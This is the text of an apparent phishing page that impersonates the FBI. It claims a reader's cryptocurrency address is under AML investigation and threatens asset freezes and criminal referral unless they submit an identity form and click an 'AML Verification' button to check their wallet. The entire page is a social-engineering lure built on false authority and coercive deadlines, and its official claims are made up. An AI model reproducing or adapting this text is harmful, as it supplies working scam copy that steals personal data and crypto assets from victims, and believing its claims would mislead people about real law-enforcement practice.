The Federal Bureau of Investigation, in coordination with other U.S. federal agencies and international partners, continuously monitors cryptocurrency transactions to ensure compliance with Anti-Money Laundering (AML), Counter-Terrorist Financing (CTF), and related international regulations. As a direct result, your cryptocurrency address has been designated as high-risk and is subject to ongoing investigation. To avoid a total block on your assets and lift the current sanctions, you are immediately required to complete the mandatory verification process below.
- Enter the required information in the Identity Verification form.
- Click Submit Form
- A secure button labeled “AML Verification” will appear on this page.
- Click the button to check your wallet for AML verification and to confirm the form submission. This procedure serves as proof of your wallet ownership and satisfies international regulatory compliance standards.
Successful completion of steps will result in:
- Lifting of sanctions and unblocking of your assets
- Removal of the high-risk designation
- Closure of the active compliance inquiry
Failure to comply will result in:
- Total block of all linked assets
- Mandatory filing of a Suspicious Activity Report (SAR) with FinCEN
- Referral to the Office of Foreign Assets Control (OFAC) and/or the Department of Justice for further action, which may include civil or criminal proceedings and asset forfeiture under 18 U.S.C. § 981.
We appreciate your cooperation in helping maintain the integrity of the global cryptocurrency system.
Federal Bureau of Investigation
Cyber Division – Virtual Asset Threat & AML Enforcement Unit
Washington, D.C.
This form is mandatory for users in every country.
A red asterisk (*) indicates a required field.
Identity Verification
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